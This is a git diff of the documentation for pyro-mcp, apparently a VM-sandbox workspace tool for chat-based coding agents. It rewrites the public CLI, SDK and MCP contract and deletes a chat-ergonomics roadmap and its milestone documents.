cold-start repo validation -- repro plus fix loops -- parallel isolated workspaces -- unsafe or untrusted code inspection -- review and evaluation workflows - -Validate the whole story with: - -```bash -make smoke-use-cases -``` - -For the machine-warmup plus reset/retry path specifically: - -```bash -make smoke-daily-loop -``` +1. OpenAI Responses API if you want a direct provider tool loop. +2. MCP if your host already speaks MCP. +3. Python SDK if you own orchestration and do not need transport. +4. Framework wrappers only as thin adapters over the same `vm_run` contract. diff --git a/docs/public-contract.md b/docs/public-contract.md index 69412f0..f446d0d 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -1,192 +1,105 @@ # Public Contract -This document describes the chat way to use `pyro-mcp` in `4.x`. - -`pyro-mcp` currently has no users. Expect breaking changes while this chat-host -path is still being shaped. - -This document is intentionally biased. It describes the path users are meant to -follow today: - -- prove the host with the terminal companion commands -- serve disposable workspaces over MCP -- connect Claude Code, Codex, or OpenCode -- use the recipe-backed workflows - -This page does not try to document every building block in the repo. It -documents the chat-host path the project is actively shaping. +This document defines the supported public interface for `pyro-mcp` `1.x`. ## Package Identity -- distribution name: `pyro-mcp` -- public executable: `pyro` -- primary product entrypoint: `pyro mcp serve` +- Distribution name: `pyro-mcp` +- Public executable: `pyro` +- Public Python import: `from pyro_mcp import Pyro` +- Public package-level factory: `from pyro_mcp import create_server` -`pyro-mcp` is a disposable MCP workspace for chat-based coding agents on Linux -`x86_64` KVM hosts. +## CLI Contract -## Supported Product Path +Top-level commands: -The intended user journey is: - -1. `pyro doctor` -2. `pyro prepare debian:12` -3. `pyro run debian:12 -- git --version` -4. `pyro mcp serve` -5. connect Claude Code, Codex, or OpenCode -6. use `workspace reset` as the normal retry step -7. run one of the documented recipe-backed workflows -8. validate the whole story with `make smoke-use-cases` - -## Evaluator CLI - -These terminal commands are the documented companion path for the chat-host -product: - -- `pyro doctor` -- `pyro prepare` - `pyro env list` - `pyro env pull` +- `pyro env inspect` +- `pyro env prune` +- `pyro mcp serve` - `pyro run` +- `pyro doctor` - `pyro demo` +- `pyro demo ollama` -What to expect from that path: +Stable `pyro run` interface: -- `pyro run -- ` defaults to `1 vCPU / 1024 MiB` -- `pyro run` fails if guest boot or guest exec is unavailable unless - `--allow-host-compat` is set -- `pyro run`, `pyro env list`, `pyro env pull`, `pyro env inspect`, - `pyro env prune`, `pyro doctor`, and `pyro prepare` are human-readable by - default and return structured JSON with `--json` -- the first official environment pull downloads from public Docker Hub into the - local environment cache -- `pyro prepare debian:12` proves the warmed daily loop with one throwaway - workspace create, exec, reset, and delete cycle -- `pyro demo` proves the one-shot create/start/exec/delete VM lifecycle end to - end +- positional environment name +- `--vcpu-count` +- `--mem-mib` +- `--timeout-seconds` +- `--ttl-seconds` +- `--network` -These commands exist to validate and debug the chat-host path. They are not the -main product destination. +Behavioral guarantees: -## MCP Entry Point +- `pyro run --vcpu-count --mem-mib -- ` returns structured JSON. +- `pyro env list`, `pyro env pull`, `pyro env inspect`, and `pyro env prune` return structured JSON. +- `pyro doctor` returns structured JSON diagnostics. +- `pyro demo ollama` prints log lines plus a final summary line. -The product entrypoint is: +## Python SDK Contract -```bash -pyro mcp serve -``` +Primary facade: -What to expect: +- `Pyro` -- named modes are now the first chat-host story: - - `pyro mcp serve --mode repro-fix` - - `pyro mcp serve --mode inspect` - - `pyro mcp serve --mode cold-start` - - `pyro mcp serve --mode review-eval` -- bare `pyro mcp serve` remains the generic no-mode path and starts - `workspace-core` -- from a repo root, bare `pyro mcp serve` also auto-detects the current Git - checkout so `workspace_create` can omit `seed_path` -- `pyro mcp serve --profile workspace-full` explicitly opts into the larger - tool surface -- `pyro mcp serve --profile vm-run` exposes the smallest one-shot-only surface -- `pyro mcp serve --project-path /abs/path/to/repo` is the fallback when the - host does not preserve cwd -- `pyro mcp serve --repo-url ... [--repo-ref ...]` starts from a clean clone - source instead of a local checkout +Supported public entrypoints: -Host-specific setup docs: +- `create_server()` +- `Pyro.create_server()` +- `Pyro.list_environments()` +- `Pyro.pull_environment(environment)` +- `Pyro.inspect_environment(environment)` +- `Pyro.prune_environments()` +- `Pyro.create_vm(...)` +- `Pyro.start_vm(vm_id)` +- `Pyro.exec_vm(vm_id, *, command, timeout_seconds=30)` +- `Pyro.stop_vm(vm_id)` +- `Pyro.delete_vm(vm_id)` +- `Pyro.status_vm(vm_id)` +- `Pyro.network_info_vm(vm_id)` +- `Pyro.reap_expired()` +- `Pyro.run_in_vm(...)` -- [claude_code_mcp.md](../examples/claude_code_mcp.md) -- [codex_mcp.md](../examples/codex_mcp.md) -- [opencode_mcp_config.json](../examples/opencode_mcp_config.json) -- [mcp_client_config.md](../examples/mcp_client_config.md) +Stable public method names: -The chat-host bootstrap helper surface is: +- `create_server()` +- `list_environments()` +- `pull_environment(environment)` +- `inspect_environment(environment)` +- `prune_environments()` +- `create_vm(...)` +- `start_vm(vm_id)` +- `exec_vm(vm_id, *, command, timeout_seconds=30)` +- `stop_vm(vm_id)` +- `delete_vm(vm_id)` +- `status_vm(vm_id)` +- `network_info_vm(vm_id)` +- `reap_expired()` +- `run_in_vm(...)` -- `pyro host connect claude-code` -- `pyro host connect codex` -- `pyro host print-config opencode` -- `pyro host doctor` -- `pyro host repair HOST` +## MCP Contract -These helpers wrap the same `pyro mcp serve` entrypoint and are the preferred -setup and repair path for supported hosts. - -## Named Modes - -The supported named modes are: - -| Mode | Intended workflow | Key tools | -| --- | --- | --- | -| `repro-fix` | reproduce, patch, rerun, diff, export, reset | file ops, patch, diff, export, reset, summary | -| `inspect` | inspect suspicious or unfamiliar code with the smallest persistent surface | file list/read, exec, export, summary | -| `cold-start` | validate a fresh repo and keep services alive long enough to prove readiness | exec, export, reset, summary, service tools | -| `review-eval` | interactive review, checkpointing, shell-driven evaluation, and export | shell tools, snapshot tools, diff/export, summary | - -Use the generic no-mode path when one of those named modes feels too narrow for -the job. - -## Generic Workspace Contract - -`workspace-core` is the normal chat path. It exposes: +Primary tool: - `vm_run` -- `workspace_create` -- `workspace_list` -- `workspace_update` -- `workspace_status` -- `workspace_sync_push` -- `workspace_exec` -- `workspace_logs` -- `workspace_summary` -- `workspace_file_list` -- `workspace_file_read` -- `workspace_file_write` -- `workspace_patch_apply` -- `workspace_diff` -- `workspace_export` -- `workspace_reset` -- `workspace_delete` -That is enough for the normal persistent editing loop: +Advanced lifecycle tools: -- create one workspace, often without `seed_path` when the server already has a - project source -- sync or seed repo content -- inspect and edit files without shell quoting -- run commands repeatedly in one sandbox -- review the current session in one concise summary -- diff and export results -- reset and retry -- delete the workspace when the task is done +- `vm_list_environments` +- `vm_create` +- `vm_start` +- `vm_exec` +- `vm_stop` +- `vm_delete` +- `vm_status` +- `vm_network_info` +- `vm_reap_expired` -Move to `workspace-full` only when the chat truly needs: +## Versioning Rule -- persistent PTY shell sessions -- long-running services and readiness probes -- secrets -- guest networking and published ports -- stopped-workspace disk inspection - -## Recipe-Backed Workflows - -The documented product workflows are: - -| Workflow | Recommended mode | Doc | -| --- | --- | --- | -| Cold-start repo validation | `cold-start` | [use-cases/cold-start-repo-validation.md](use-cases/cold-start-repo-validation.md) | -| Repro plus fix loop | `repro-fix` | [use-cases/repro-fix-loop.md](use-cases/repro-fix-loop.md) | -| Parallel isolated workspaces | `repro-fix` | [use-cases/parallel-workspaces.md](use-cases/parallel-workspaces.md) | -| Unsafe or untrusted code inspection | `inspect` | [use-cases/untrusted-inspection.md](use-cases/untrusted-inspection.md) | -| Review and evaluation workflows | `review-eval` | [use-cases/review-eval-workflows.md](use-cases/review-eval-workflows.md) | - -Treat this smoke pack as the trustworthy guest-backed verification path for the -advertised product: - -```bash -make smoke-use-cases -``` - -The chat-host MCP path above is the thing the docs are intentionally shaping -around. +- `pyro-mcp` uses SemVer. +- Environment names are stable identifiers in the shipped catalog. +- Changing a public command name, public flag, public method name, public MCP tool name, or required request field is a breaking change. diff --git a/docs/roadmap/llm-chat-ergonomics.md b/docs/roadmap/llm-chat-ergonomics.md deleted file mode 100644 index 440f528..0000000 --- a/docs/roadmap/llm-chat-ergonomics.md +++ /dev/null @@ -1,186 +0,0 @@ -# LLM Chat Ergonomics Roadmap - -This roadmap picks up after the completed workspace GA plan and focuses on one -goal: - -make the core agent-workspace use cases feel trivial from a chat-driven LLM -interface. - -Current baseline is `4.5.0`: - -- `pyro mcp serve` is now the default product entrypoint -- `workspace-core` is now the default MCP profile -- one-shot `pyro run` still exists as the terminal companion path -- workspaces already support seeding, sync push, exec, export, diff, snapshots, - reset, services, PTY shells, secrets, network policy, and published ports -- host-specific onramps exist for Claude Code, Codex, and OpenCode -- the five documented use cases are now recipe-backed and smoke-tested -- stopped-workspace disk tools now exist, but remain explicitly secondary - -## What "Trivial In Chat" Means - -The roadmap is done only when a chat-driven LLM can cover the main use cases -without awkward shell choreography or hidden host-side glue: - -- cold-start repo validation -- repro plus fix loops -- parallel isolated workspaces for multiple issues or PRs -- unsafe or untrusted code inspection -- review and evaluation workflows - -More concretely, the model should not need to: - -- patch files through shell-escaped `printf` or heredoc tricks -- rely on opaque workspace IDs without a discovery surface -- consume raw terminal control sequences as normal shell output -- choose from an unnecessarily large tool surface when a smaller profile would - work - -The next gaps for the narrowed persona are now about real-project credibility: - -- current-checkout startup is still brittle for messy local repos with unreadable, - generated, or permission-sensitive files -- the guest-backed smoke pack is strong, but it still proves shaped scenarios - better than arbitrary local-repo readiness -- the chat-host path still does not let users choose the sandbox environment as - a first-class part of host connection and server startup -- the product should not claim full whole-project development readiness until it - qualifies a real-project loop beyond fixture-shaped use cases - -## Locked Decisions - -- keep the workspace product identity central; do not drift toward CI, queue, - or runner abstractions -- keep disk tools secondary and do not make them the main chat-facing surface -- prefer narrow tool profiles and structured outputs over more raw shell calls -- optimize the MCP/chat-host path first and keep the CLI companion path good - enough to validate and debug it -- lower-level SDK and repo substrate work can continue, but they should not - drive milestone scope or naming -- CLI-only ergonomics are allowed when the SDK and MCP surfaces already have the - structured behavior natively -- prioritize repo-aware startup, trust, and daily-loop speed before adding more - low-level workspace surface area -- for repo-root auto-detection and `--project-path` inside a Git checkout, the - default project source should become Git-tracked files only -- `--repo-url` remains the clean-clone path when users do not want to trust the - local checkout as the startup source -- environment selection must become first-class in the chat-host path before the - product claims whole-project development readiness -- real-project readiness must be proven with guest-backed qualification smokes - that cover ignored, generated, and unreadable-file cases -- breaking changes are acceptable while there are still no users and the - chat-host product is still being shaped -- every milestone below must also update docs, help text, runnable examples, - and at least one real smoke scenario - -## Milestones - -1. [`3.2.0` Model-Native Workspace File Ops](llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md) - Done -2. [`3.3.0` Workspace Naming And Discovery](llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md) - Done -3. [`3.4.0` Tool Profiles And Canonical Chat Flows](llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md) - Done -4. [`3.5.0` Chat-Friendly Shell Output](llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md) - Done -5. [`3.6.0` Use-Case Recipes And Smoke Packs](llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md) - Done -6. [`3.7.0` Handoff Shortcuts And File Input Sources](llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md) - Done -7. [`3.8.0` Chat-Host Onramp And Recommended Defaults](llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md) - Done -8. [`3.9.0` Content-Only Reads And Human Output Polish](llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md) - Done -9. [`3.10.0` Use-Case Smoke Trust And Recipe Fidelity](llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md) - Done -10. [`3.11.0` Host-Specific MCP Onramps](llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md) - Done -11. [`4.0.0` Workspace-Core Default Profile](llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md) - Done -12. [`4.1.0` Project-Aware Chat Startup](llm-chat-ergonomics/4.1.0-project-aware-chat-startup.md) - Done -13. [`4.2.0` Host Bootstrap And Repair](llm-chat-ergonomics/4.2.0-host-bootstrap-and-repair.md) - Done -14. [`4.3.0` Reviewable Agent Output](llm-chat-ergonomics/4.3.0-reviewable-agent-output.md) - Done -15. [`4.4.0` Opinionated Use-Case Modes](llm-chat-ergonomics/4.4.0-opinionated-use-case-modes.md) - Done -16. [`4.5.0` Faster Daily Loops](llm-chat-ergonomics/4.5.0-faster-daily-loops.md) - Done -17. [`4.6.0` Git-Tracked Project Sources](llm-chat-ergonomics/4.6.0-git-tracked-project-sources.md) - Planned -18. [`4.7.0` Project Source Diagnostics And Recovery](llm-chat-ergonomics/4.7.0-project-source-diagnostics-and-recovery.md) - Planned -19. [`4.8.0` First-Class Chat Environment Selection](llm-chat-ergonomics/4.8.0-first-class-chat-environment-selection.md) - Planned -20. [`4.9.0` Real-Repo Qualification Smokes](llm-chat-ergonomics/4.9.0-real-repo-qualification-smokes.md) - Planned -21. [`5.0.0` Whole-Project Sandbox Development](llm-chat-ergonomics/5.0.0-whole-project-sandbox-development.md) - Planned - -Completed so far: - -- `3.2.0` added model-native `workspace file *` and `workspace patch apply` so chat-driven agents - can inspect and edit `/workspace` without shell-escaped file mutation flows. -- `3.3.0` added workspace names, key/value labels, `workspace list`, `workspace update`, and - `last_activity_at` tracking so humans and chat-driven agents can rediscover and resume the right - workspace without external notes. -- `3.4.0` added stable MCP/server tool profiles with `vm-run`, `workspace-core`, and - `workspace-full`, plus canonical profile-based OpenAI and MCP examples so chat hosts can start - narrow and widen only when needed. -- `3.5.0` added chat-friendly shell reads with plain-text rendering and idle batching so PTY - sessions are readable enough to feed directly back into a chat model. -- `3.6.0` added recipe docs and real guest-backed smoke packs for the five core workspace use - cases so the stable product is now demonstrated as repeatable end-to-end stories instead of - only isolated feature surfaces. -- `3.7.0` removed the remaining shell glue from canonical CLI workspace flows with `--id-only`, - `--text-file`, and `--patch-file`, so the shortest handoff path no longer depends on `python -c` - extraction or `$(cat ...)` expansion. -- `3.8.0` made `workspace-core` the obvious first MCP/chat-host profile from the first help and - docs pass while keeping `workspace-full` as the 3.x compatibility default. -- `3.9.0` added content-only workspace file and disk reads plus cleaner default human-mode - transcript separation for files that do not end with a trailing newline. -- `3.10.0` aligned the five guest-backed use-case smokes with their recipe docs and promoted - `make smoke-use-cases` as the trustworthy verification path for the advertised workspace flows. -- `3.11.0` added exact host-specific MCP onramps for Claude Code, Codex, and OpenCode so new - chat-host users can copy one known-good setup example instead of translating the generic MCP - config manually. -- `4.0.0` flipped the default MCP/server profile to `workspace-core`, so the bare entrypoint now - matches the recommended narrow chat-host profile across CLI, SDK, and package-level factories. -- `4.1.0` made repo-root startup native for chat hosts, so bare `pyro mcp serve` can auto-detect - the current Git checkout and let the first `workspace_create` omit `seed_path`, with explicit - `--project-path` and `--repo-url` fallbacks when cwd is not the source of truth. -- `4.2.0` adds first-class host bootstrap and repair helpers so Claude Code, - Codex, and OpenCode users can connect or repair the supported chat-host path - without manually composing raw MCP commands or config edits. -- `4.3.0` adds a concise workspace review surface so users can inspect what the - agent changed and ran since the last reset without reconstructing the - session from several lower-level views by hand. -- `4.4.0` adds named use-case modes so chat hosts can start from `repro-fix`, - `inspect`, `cold-start`, or `review-eval` instead of choosing from the full - generic workspace surface first. -- `4.5.0` adds `pyro prepare`, daily-loop readiness in `pyro doctor`, and a - real `make smoke-daily-loop` verification path so the local machine warmup - story is explicit before the chat host connects. - -Planned next: - -- [`4.6.0` Git-Tracked Project Sources](llm-chat-ergonomics/4.6.0-git-tracked-project-sources.md) -- [`4.7.0` Project Source Diagnostics And Recovery](llm-chat-ergonomics/4.7.0-project-source-diagnostics-and-recovery.md) -- [`4.8.0` First-Class Chat Environment Selection](llm-chat-ergonomics/4.8.0-first-class-chat-environment-selection.md) -- [`4.9.0` Real-Repo Qualification Smokes](llm-chat-ergonomics/4.9.0-real-repo-qualification-smokes.md) -- [`5.0.0` Whole-Project Sandbox Development](llm-chat-ergonomics/5.0.0-whole-project-sandbox-development.md) - -## Expected Outcome - -After this roadmap, the product should still look like an agent workspace, not -like a CI runner with more isolation. - -The intended model-facing shape is: - -- one-shot work starts with `vm_run` -- persistent work moves to a small workspace-first contract -- file edits are structured and model-native -- workspace discovery is human and model-friendly -- shells are readable in chat -- CLI handoff paths do not depend on ad hoc shell parsing -- the recommended chat-host profile is obvious from the first MCP example -- the documented smoke pack is trustworthy enough to use as a release gate -- major chat hosts have copy-pasteable MCP setup examples instead of only a - generic config template -- human-mode content reads are copy-paste safe -- the default bare MCP server entrypoint matches the recommended narrow profile -- the five core use cases are documented and smoke-tested end to end -- starting from the current repo feels native from the first chat-host setup -- supported hosts can be connected or repaired without manual config spelunking -- users can review one concise summary of what the agent changed and ran -- the main workflows feel like named modes instead of one giant reference -- reset and retry loops are fast enough to encourage daily use -- repo-root startup is robust even when the local checkout contains ignored, - generated, or unreadable files -- chat-host users can choose the sandbox environment as part of the normal - connect/start path -- the product has guest-backed qualification for real local repos, not only - shaped fixture scenarios -- it becomes credible to tell a user they can develop a real project inside - sandboxes, not just evaluate or patch one diff --git a/docs/roadmap/llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md b/docs/roadmap/llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md deleted file mode 100644 index 7d50ac6..0000000 --- a/docs/roadmap/llm-chat-ergonomics/3.10.0-use-case-smoke-trust-and-recipe-fidelity.md +++ /dev/null @@ -1,54 +0,0 @@ -# `3.10.0` Use-Case Smoke Trust And Recipe Fidelity - -Status: Done - -## Goal - -Make the documented use-case pack trustworthy enough to act like a real release -gate for the advertised chat-first workflows. - -## Public API Changes - -No new core API is required in this milestone. - -The user-visible change is reliability and alignment: - -- `make smoke-use-cases` should pass cleanly on a supported host -- each smoke scenario should verify the same user-facing path the recipe docs - actually recommend -- smoke assertions should prefer structured CLI, SDK, or MCP results over - brittle checks against human-mode text formatting when both exist - -## Implementation Boundaries - -- fix the current repro-plus-fix drift as part of this milestone -- keep the focus on user-facing flow fidelity, not on broad internal test - harness refactors -- prefer exact recipe fidelity over inventing more synthetic smoke-only steps -- if the docs say one workflow is canonical, the smoke should exercise that same - workflow directly - -## Non-Goals - -- no new workspace capability just to make the smoke harness easier to write -- no conversion of the product into a CI/reporting framework -- no requirement that every README transcript becomes a literal byte-for-byte - golden test - -## Acceptance Scenarios - -- `make smoke-use-cases` passes end to end on a supported host -- the repro-plus-fix smoke proves the documented patch path without relying on - fragile human-output assumptions -- each use-case recipe still maps to one real guest-backed smoke target -- a maintainer can trust a red smoke result as a real user-facing regression, - not just harness drift - -## Required Repo Updates - -- use-case smoke scenarios audited and corrected to follow the canonical docs -- any brittle human-output assertions replaced with structured checks where - possible -- docs updated if a recipe or expected output changed during the alignment pass -- at least one release/readiness note should point to the smoke pack as a - trustworthy verification path once this lands diff --git a/docs/roadmap/llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md b/docs/roadmap/llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md deleted file mode 100644 index 9edc0fa..0000000 --- a/docs/roadmap/llm-chat-ergonomics/3.11.0-host-specific-mcp-onramps.md +++ /dev/null @@ -1,56 +0,0 @@ -# `3.11.0` Host-Specific MCP Onramps - -Status: Done - -## Goal - -Remove the last translation step for major chat hosts by shipping exact, -copy-pasteable MCP setup guidance for the hosts users actually reach for. - -## Public API Changes - -No core runtime or workspace API change is required in this milestone. - -The main user-visible additions are host-specific integration assets and docs: - -- Claude setup should have a first-class maintained example -- Codex should have a first-class maintained example -- OpenCode should have a first-class maintained example -- the integrations docs should show the shortest working path for each host and - the same recommended `workspace-core` profile - -## Implementation Boundaries - -- keep the underlying server command the same: - `pyro mcp serve --profile workspace-core` -- treat host-specific configs as thin wrappers around the same MCP server -- cover both package-without-install and already-installed variants where that - materially improves copy-paste adoption -- keep generic MCP config guidance, but stop forcing users of major hosts to - translate it themselves - -## Non-Goals - -- no client-specific runtime behavior hidden behind host detection -- no broad matrix of every MCP-capable editor or agent host -- no divergence in terminology between host examples and the public contract - -## Acceptance Scenarios - -- a Claude user can copy one shipped example and connect without reading generic - MCP docs first -- a Codex user can copy one shipped example or exact `codex mcp add ...` command -- an OpenCode user can copy one shipped config snippet without guessing its MCP - schema shape -- the README and integrations docs point to those host-specific examples from - the first integration pass - -## Required Repo Updates - -- new shipped config examples for Codex and OpenCode -- README, install docs, and integrations docs updated to point at the new host - examples -- at least one short host-specific quickstart section or example command for - each supported host family -- runnable or documented verification steps that prove the shipped examples stay - current diff --git a/docs/roadmap/llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md b/docs/roadmap/llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md deleted file mode 100644 index ea4e59c..0000000 --- a/docs/roadmap/llm-chat-ergonomics/3.2.0-model-native-workspace-file-ops.md +++ /dev/null @@ -1,65 +0,0 @@ -# `3.2.0` Model-Native Workspace File Ops - -Status: Done - -## Goal - -Remove shell quoting and hidden host-temp-file choreography from normal -chat-driven workspace editing loops. - -## Public API Changes - -Planned additions: - -- `pyro workspace file list WORKSPACE_ID [PATH] [--recursive]` -- `pyro workspace file read WORKSPACE_ID PATH [--max-bytes N]` -- `pyro workspace file write WORKSPACE_ID PATH --text TEXT` -- `pyro workspace patch apply WORKSPACE_ID --patch TEXT` -- matching Python SDK methods: - - `list_workspace_files` - - `read_workspace_file` - - `write_workspace_file` - - `apply_workspace_patch` -- matching MCP tools: - - `workspace_file_list` - - `workspace_file_read` - - `workspace_file_write` - - `workspace_patch_apply` - -## Implementation Boundaries - -- scope all operations strictly under `/workspace` -- keep these tools text-first and bounded in size -- make patch application explicit and deterministic -- keep `workspace export` as the host-out path for copying results back -- keep shell and exec available for process-oriented work, not as the only way - to mutate files - -## Non-Goals - -- no arbitrary host filesystem access -- no generic SFTP or file-manager product identity -- no replacement of shell or exec for process lifecycle work -- no hidden auto-merge behavior for conflicting patches - -## Acceptance Scenarios - -- an agent reads a file, applies a patch, reruns tests, and exports the result - without shell-escaped editing tricks -- an agent inspects a repo tree and targeted files inside one workspace without - relying on host-side temp paths -- a repro-plus-fix loop is practical from MCP alone, not only from a custom - host wrapper - -## Required Repo Updates - -- public contract updates across CLI, SDK, and MCP -- docs and examples that show model-native file editing instead of shell-heavy - file writes -- at least one real smoke scenario centered on a repro-plus-fix loop - -## Outcome - -- shipped `workspace file list|read|write` and `workspace patch apply` across CLI, SDK, and MCP -- kept the surface scoped to started workspaces and `/workspace` -- updated docs, help text, examples, and smoke coverage around model-native editing flows diff --git a/docs/roadmap/llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md b/docs/roadmap/llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md deleted file mode 100644 index 5081196..0000000 --- a/docs/roadmap/llm-chat-ergonomics/3.3.0-workspace-naming-and-discovery.md +++ /dev/null @@ -1,53 +0,0 @@ -# `3.3.0` Workspace Naming And Discovery - -Status: Done - -## Goal - -Make multiple concurrent workspaces manageable from chat without forcing the -user or model to juggle opaque IDs. - -## Public API Changes - -Planned additions: - -- `pyro workspace create ... --name NAME` -- `pyro workspace create ... --label KEY=VALUE` -- `pyro workspace list` -- `pyro workspace update WORKSPACE_ID [--name NAME] [--label KEY=VALUE] [--clear-label KEY]` -- matching Python SDK methods: - - `list_workspaces` - - `update_workspace` -- matching MCP tools: - - `workspace_list` - - `workspace_update` - -## Implementation Boundaries - -- keep workspace IDs as the stable machine identifier -- treat names and labels as operator-friendly metadata and discovery aids -- surface last activity, expiry, service counts, and summary metadata in - `workspace list` -- make name and label metadata visible in create, status, and list responses - -## Non-Goals - -- no scheduler or queue abstractions -- no project-wide branch manager -- no hidden background cleanup policy beyond the existing TTL model - -## Acceptance Scenarios - -- a user can keep separate workspaces for two issues or PRs and discover them - again without external notes -- a chat agent can list active workspaces, choose the right one, and continue - work after a later prompt -- review and evaluation flows can tag or name workspaces by repo, bug, or task - intent - -## Required Repo Updates - -- README and install docs that show parallel named workspaces -- examples that demonstrate issue-oriented workspace naming -- smoke coverage for at least one multi-workspace flow -- public contract, CLI help, and examples that show `workspace list` and `workspace update` diff --git a/docs/roadmap/llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md b/docs/roadmap/llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md deleted file mode 100644 index 7db490c..0000000 --- a/docs/roadmap/llm-chat-ergonomics/3.4.0-tool-profiles-and-canonical-chat-flows.md +++ /dev/null @@ -1,51 +0,0 @@ -# `3.4.0` Tool Profiles And Canonical Chat Flows - -Status: Done - -## Goal - -Make the model-facing surface intentionally small for chat hosts, while keeping -the full workspace product available when needed. - -## Public API Changes - -Planned additions: - -- `pyro mcp serve --profile {vm-run,workspace-core,workspace-full}` -- matching Python SDK and server factory configuration for the same profiles -- one canonical OpenAI Responses example that uses the workspace-core profile -- one canonical MCP/chat example that uses the same profile progression - -Representative profile intent: - -- `vm-run`: one-shot only -- `workspace-core`: create, status, exec, file ops, diff, reset, export, delete -- `workspace-full`: shells, services, snapshots, secrets, network policy, and - the rest of the stable workspace surface - -## Implementation Boundaries - -- keep the current full surface available for advanced users -- add profiles as an exposure control, not as a second product line -- make profile behavior explicit in docs and help text -- keep profile names stable once shipped - -## Non-Goals - -- no framework-specific wrappers inside the core package -- no server-side planner that chooses tools on the model's behalf -- no hidden feature gating by provider or client - -## Acceptance Scenarios - -- a chat host can expose only `vm_run` for one-shot work -- a chat host can promote the same agent to `workspace-core` without suddenly - dumping the full advanced surface on the model -- a new integrator can copy one example and understand the intended progression - from one-shot to stable workspace - -## Required Repo Updates - -- integration docs that explain when to use each profile -- canonical chat examples for both provider tool calling and MCP -- smoke coverage for at least one profile-limited chat loop diff --git a/docs/roadmap/llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md b/docs/roadmap/llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md deleted file mode 100644 index e46edc3..0000000 --- a/docs/roadmap/llm-chat-ergonomics/3.5.0-chat-friendly-shell-output.md +++ /dev/null @@ -1,46 +0,0 @@ -# `3.5.0` Chat-Friendly Shell Output - -Status: Done - -## Goal - -Keep persistent PTY shells powerful, but make their output clean enough to feed -directly back into a chat model. - -## Public API Changes - -Planned additions: - -- `pyro workspace shell read ... --plain` -- `pyro workspace shell read ... --wait-for-idle-ms N` -- matching Python SDK parameters: - - `plain=True` - - `wait_for_idle_ms=...` -- matching MCP request fields on `shell_read` - -## Implementation Boundaries - -- keep raw PTY reads available for advanced clients -- plain mode should strip terminal control sequences and normalize line endings -- idle waiting should batch the next useful chunk of output without turning the - shell into a separate job scheduler -- keep cursor-based reads so polling clients stay deterministic - -## Non-Goals - -- no replacement of the PTY shell with a fake line-based shell -- no automatic command synthesis inside shell reads -- no shell-only workflow that replaces `workspace exec`, services, or file ops - -## Acceptance Scenarios - -- a chat agent can open a shell, write a command, and read back plain text - output without ANSI noise -- long-running interactive setup or debugging flows are readable in chat -- shell output is useful as model input without extra client-side cleanup - -## Required Repo Updates - -- help text that makes raw versus plain shell reads explicit -- examples that show a clean interactive shell loop -- smoke coverage for at least one shell-driven debugging scenario diff --git a/docs/roadmap/llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md b/docs/roadmap/llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md deleted file mode 100644 index ce213a1..0000000 --- a/docs/roadmap/llm-chat-ergonomics/3.6.0-use-case-recipes-and-smoke-packs.md +++ /dev/null @@ -1,42 +0,0 @@ -# `3.6.0` Use-Case Recipes And Smoke Packs - -Status: Done - -## Goal - -Turn the five target workflows into first-class documented stories and runnable -verification paths. - -## Public API Changes - -No new core API is required in this milestone. - -The main deliverable is packaging the now-mature workspace surface into clear -recipes, examples, and smoke scenarios that prove the intended user experience. - -## Implementation Boundaries - -- build on the existing stable workspace contract and the earlier chat-first - milestones -- keep the focus on user-facing flows, not internal test harness complexity -- treat the recipes as product documentation, not private maintainer notes - -## Non-Goals - -- no new CI or scheduler abstractions -- no speculative cloud orchestration work -- no broad expansion of disk tooling as the main story - -## Acceptance Scenarios - -- cold-start repo validation has a documented and smoke-tested flow -- repro-plus-fix loops have a documented and smoke-tested flow -- parallel isolated workspaces have a documented and smoke-tested flow -- unsafe or untrusted code inspection has a documented and smoke-tested flow -- review and evaluation workflows have a documented and smoke-tested flow - -## Required Repo Updates - -- a dedicated doc or section for each target use case -- at least one canonical example per use case in CLI, SDK, or MCP form -- smoke scenarios that prove each flow on a real Firecracker-backed path diff --git a/docs/roadmap/llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md b/docs/roadmap/llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md deleted file mode 100644 index 09812d5..0000000 --- a/docs/roadmap/llm-chat-ergonomics/3.7.0-handoff-shortcuts-and-file-input-sources.md +++ /dev/null @@ -1,48 +0,0 @@ -# `3.7.0` Handoff Shortcuts And File Input Sources - -Status: Done - -## Goal - -Remove the last bits of shell plumbing from the canonical CLI workspace flows so -they feel productized instead of hand-assembled. - -## Public API Changes - -Planned additions: - -- `pyro workspace create ... --id-only` -- `pyro workspace shell open ... --id-only` -- `pyro workspace file write WORKSPACE_ID PATH --text-file PATH` -- `pyro workspace patch apply WORKSPACE_ID --patch-file PATH` - -## Implementation Boundaries - -- keep existing `--json`, `--text`, and `--patch` stable -- treat these additions as CLI-only shortcuts over already-structured behavior -- make `--text` and `--text-file` mutually exclusive -- make `--patch` and `--patch-file` mutually exclusive -- read file-backed text and patch inputs as UTF-8 text -- keep `/workspace` scoping and current patch semantics unchanged - -## Non-Goals - -- no new binary file-write story -- no new 